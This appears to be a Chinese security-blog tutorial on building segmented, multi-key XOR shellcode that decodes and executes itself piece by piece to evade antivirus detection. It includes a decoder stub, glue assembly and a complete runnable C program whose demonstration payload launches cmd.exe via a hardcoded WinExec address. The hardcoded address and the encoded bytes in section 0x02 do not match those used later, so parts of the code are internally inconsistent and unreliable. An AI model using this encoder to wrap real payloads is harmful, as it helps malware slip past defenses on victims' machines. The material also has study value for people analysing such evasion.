我們在寫shellcode時候,做分段免殺執行時,如何做到邊解碼然後執行再調用解碼,解碼後再執行?就是分段執行而且解密的密鑰是不一樣的,對于這個問題,我們應該想想這三個問題。
1、如何寫出通用的解碼子?
2、如何才能調到解碼子的解碼部分首位址?
3、如何才能跳到剛解碼的shellcode首位址?
這三個問題想明白了,就能實作了
下面我們利用xor用不同秘鑰加密彈出cmd程式來說明
0x00寫出我們的程式
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
int main(int argc, char* argv[])
{
char *str="cmd.exe";
__asm{
mov eax,str
push 5 ;5=SW_SHOW
push eax
mov eax,0x7731dab0
//0x7731dab0
//call dword ptr [WinExec]
call eax
}
return 0;
}
複制
0x7731dab0是winexec函數位址
0x01 轉成shellcode形式
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char shellcode[]="\x8B\x45\xFc\x6A\x05\x50\xB8\xB0\xDA\x50\x75\xFF\xD0";
int main(int argc, char* argv[])
{
char *str="cmd.exe";
__asm{
lea eax,shellcode
call eax
}
return 0;
}
複制
運作看一下能不能執行
0x02 xor加密
我們用三個秘鑰對上面的shellcode加密,值分别為0x51,0x47,0x81,根據秘鑰個數對shellcode分段,分成三段,0x51對對\x8B\x45\xFc加密,0x47對\x6A\x05\x50\xB8\xB0\xDA\x50\x75加密,0x81對\xFF\xD0加密(一條語句的機器碼不能分開),在每段後面加上\x90,加個\x90是控制解密的個數,這樣我們可以想解密到哪裡就解密到哪裡,加密後的shellcode為
\xda\x14\xad\xc1
\x2d\x42\x17\xff\xf7\x9d\x17\x32\xd7
\x7e\x51\x11
0x03 寫出通用的解碼子
decode: mov bl,byte ptr ds:[ecx+edx]
xor bl,bh
mov byte ptr ds:[ecx+edx],bl
inc edx
cmp bl,90h
je execute
jmp decode
execute:
add ecx,edx //ecx加上解碼的數目
ret
複制
利用bh存儲秘鑰,通過解密出來的bl和90h比較來,如果解密出來是90h,停止解密,跳到execte出執行,最後傳回,這裡必須要用ret,因為這段程式要放到我們加密的shellcode前面,如果沒有ret,程式将去執行shellcode,而後面還有shellocde将不會解密,我們要分段執行,是以解密之後我們還要回到原來調用解密的地方,便于後面的操作。
找出下面這段程式機器碼放在第一段shellcode之前
__asm{
xor edx,edx
mov bh,51h //bh存儲key
decode: mov bl,byte ptr ds:[ecx+edx]
xor bl,bh
mov byte ptr ds:[ecx+edx],bl
inc edx
cmp bl,90h
je execute
jmp decode
execute:
add ecx,edx //ecx加上解碼的數目
ret
}
複制
0x04 邏輯處理語句
這裡的邏輯處理語句是放在每段shellcode之間,做到存儲和取解碼子的解碼部分首位址,跳到剛解碼的shellcode首位址的功能,并且能夠修改秘鑰值。
__asm{
push edx //将decode首位址也入棧
add ecx,19 //這個是讓ecx的值等于下一個shellcdoe首位址
push ecx //下一個shellcode首位址壓入棧
push eax //将eax壓入棧中(因為我們執行的代碼中利用eax進行,eax值不能變)
mov eax,edx //将decode首位址傳給eax
xor edx,edx
mov bh,47h //第二段key,各段shellcode的key不同,要修改
call eax
pop eax
pop ebx //shellcode首位址
pop edx //decode首位址
jmp ebx //到shellcode出執行
}
複制
每次執行完解碼後的shellcode都會來執行這段語句,edx存放解碼子的首位址,call eax會去解碼,jmp ebx會去執行解碼後的shellcode。從上面的代碼解決了如何才能調到解碼子的解碼部分首位址的問題,通過一開始找到解碼的首位址,壓入棧,然後每次解碼完,都彈出來給一個寄存器,執行完解碼就去執行shellcode,執行完shellcode根據彈出來的解碼首位址,再去解碼。
找出這段程式機器碼放在每段shellcode之間
0x05 定位shellcode首位址
分段解密執行,我們知道各段shellcode的首位址是不同的,怎麼才能夠找到能各段的shellcode首位址呢?
解密前,我們把下一個要解密的shellcode首位址壓入棧,在執行call eax時,ecx的值是下一個要執行shellcode的首位址,解碼子裡有add ecx,edx,是以解碼完ecx是下一個要執行的shellcode的尾位址再加1,再執行add ecx,19,19是邏輯處理那段的機器碼數目,之後ecx就是下下個要執行的shllcode首位址,再通過出棧壓棧,我們都能找到要執行shllcode首位址
0x06 最終程式
#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
unsigned char encode[]="\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3"
"\xda\x14\xad\xc1"
"\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x47\xFF\xD0\x58\x5B\x5A\xFF\xE3"
"\x2d\x42\x17\xff\xf7\x9d\x76\x30\xd7"
"\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x81\xFF\xD0\x58\x5B\x5A\xFF\xE3"
"\x7e\x51\x11";
int main(int argc, char* argv[])
{
char *str="cmd.exe";
__asm{
lea ecx,encode //擷取encode+shellcode編碼的位址
mov edx,ecx
add ecx,25 //ecx存儲第一個shellcode首位址,從xor edx,edx到ret,這段的機器碼
push ecx //第一個shellcode壓入站首位址
sub ecx,21 //解碼decode首位址,21第一個shellcode到解碼的機器碼數
push ecx //壓入棧
add ecx,21
call edx //解碼
pop edx //解碼首位址
pop ebx //第一個shellccode首位址
jmp ebx
}
return 0;
}
複制
結果:

程式在開始時候,就把第一段shellcode首位址和解碼子首位址壓入棧,接着調用解碼程式去解碼第一段shellcode,解碼完傳回,接着彈出第一段shellcode首位址和解碼子首位址,利用jmp去執行解碼後的第一段shellcode,執行完,去執行0x04内容,根據彈出來的解碼子首位址,再去解碼第二段shellcode,然後執行,依次類推
0x07 總結
1、解碼執行第二段代碼的密鑰在第一段裡面
2、利用好ret,解碼後傳回
3、多利用push,pop,比如shllcode首位址和解碼子首位址的入棧、出棧
*本文原創作者:好好學習er,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載